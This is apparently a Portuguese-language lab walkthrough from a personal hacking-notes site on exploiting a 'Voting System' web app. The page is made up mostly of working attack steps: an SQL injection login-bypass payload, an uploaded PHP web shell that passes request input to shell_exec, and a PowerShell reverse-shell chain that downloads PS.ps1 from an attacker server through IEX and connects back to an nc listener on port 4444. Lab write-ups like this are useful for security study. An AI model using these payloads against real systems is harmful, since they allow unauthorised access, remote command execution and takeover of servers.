> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/voting-system-cms-exploitation.md).
# Voting System
Notas de exploração do Voting System para injeção SQL, acesso ao dashboard via Burp Suite, upload de arquivo PHP, testes de injeção de comando, payloads PowerShell e reverse shells.
## **Vulnerabilidade de Injeção SQL (SQLi)**
Use `searchsploit` para procurar vulnerabilidades no Sistema de Votação e identificar o seguinte payload:
`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`
Use o Burp Suite para acessar o painel.
## Vulnerabilidade de Upload de Arquivos:
Depois de entrar no painel, crie um novo usuário e faça upload `cmd.php` para executar comandos no servidor:
```bash
" . shell_exec($_REQUEST['cmd']) . "";
?>
```
O painel não impõe verificações de segurança, permitindo injeção de comandos como `whoami`. Teste a conectividade com um comando ping:
Teste se o alvo consegue enviar um ping.
ping 10.10.14.10
tcpdump -i tun0 icmp
Receber uma resposta confirma a execução do comando no alvo.
**Execução de comandos do PowerShell para um shell reverso**
Depois que a execução de comandos for confirmada, hospede o `PS.ps1` script na máquina do atacante.
{% embed url="" %}
Acrescente a seguinte linha ao final do script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```
Host `PS.ps1` com um servidor web:
```bash
python3 -m http.server 80
```
Em seguida, modifique o comando para apontar para o servidor web do atacante:
{% code overflow="wrap" %}
```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```
{% endcode %}
Por fim, inicie um listener na porta 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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```
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